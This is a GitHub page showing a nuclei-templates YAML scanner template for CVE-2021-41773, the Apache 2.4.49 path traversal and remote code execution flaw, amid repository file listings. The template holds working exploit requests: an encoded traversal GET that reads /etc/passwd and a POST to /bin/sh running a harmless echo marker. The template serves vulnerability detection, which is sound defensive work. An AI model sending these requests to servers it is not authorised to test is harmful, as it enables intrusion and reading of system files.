

Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

🔍

Sign in

Sign up

📁 projectdiscovery / nuclei-templates Public

🔔 Notifications

Fork 2.6k

Star 9.2k

<> Code

🔗 Issues 93

🔗 Pull requests 84

💬 Discussions

🎬 Actions

📁 Projects

📖 Wiki

🛡 Security

📈 Insights

📁 Files

🔑 9d28893

🔍

🔍 Go to file

> 📁 .github

> 📁 cnvd

> 📁 cves

> 📁 2000

> 📁 2001

> 📁 2002

> 📁 2004

> 📁 2005

> 📁 2006

> 📁 2007

> 📁 2008

> 📁 2009

> 📁 2010

> 📁 2011

> 📁 2012

> 📁 2013

> 📁 2014

> 📁 2015

> 📁 2016

> 📁 2017

> 📁 2018

> 📁 2019

> 📁 2020

> 📁 2021

📄 CVE-2021-1497.yaml

📄 CVE-2021-1498.yaml

📄 CVE-2021-1499.yaml

📄 CVE-2021-20031.yaml

📄 CVE-2021-20038.yaml

📄 CVE-2021-20090.yaml

📄 CVE-2021-20091.yaml

📄 CVE-2021-20092.yaml

📄 CVE-2021-20114.yaml

📄 CVE-2021-20123.yaml

📄 CVE-2021-20124.yaml

📄 CVE-2021-20137.yaml

nuclei-templates / cves / 2021 / CVE-2021-41773.yaml 📄

ritikchaddha Update shodan/fofa links to query 2a4070f · 2 years ago🕒 History

CodeBlame

51 lines (43 loc) · 1.9 KB

Raw

1id: CVE-2021-41773

2

3info:

4name: Apache 2.4.49 - Path Traversal and Remote Code Execution

5author: daffainfo

6severity: high

7description: A flaw was found in a change made to path normalization in Apache HTTP S

8reference:

9- https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782

10- https://nvd.nist.gov/vuln/detail/CVE-2021-41773

11- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

12- https://twitter.com/ptswarm/status/1445376079548624899

13- https://twitter.com/h4x0r_dz/status/1445401960371429381

14- https://github.com/blasty/CVE-2021-41773

15remediation: Update to Apache HTTP Server 2.4.50 or later.

16classification:

17cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

18cvss-score: 7.5

19cve-id: CVE-2021-41773

20cwe-id: CWE-22

21metadata:

22shodan-query: apache version:2.4.49

23tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,cisa

24

25requests:

26- raw:

27- |

28GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

29Host: {{Hostname}}

30

31- |

32POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1

33Host: {{Hostname}}

34Content-Type: application/x-www-form-urlencoded

35

36echo Content-Type: text/plain; echo; echo COP-37714-1202-EVC | rev

37

38matchers-condition: or

39matchers:

40

41- type: regex

42name: LFI

43regex:

44- "root:.*:0:0:"

45

46- type: word

47name: RCE







48words:

49- "CVE-2021-41773-POC"

50

51# Enhanced by mp on 2022/02/27

Page 1 of 2

-  CVE-2021-20150.yaml
-  CVE-2021-20158.yaml
-  CVE-2021-20167.yaml
-  CVE-2021-20792.yaml
-  CVE-2021-20837.yaml
-  CVE-2021-21234.yaml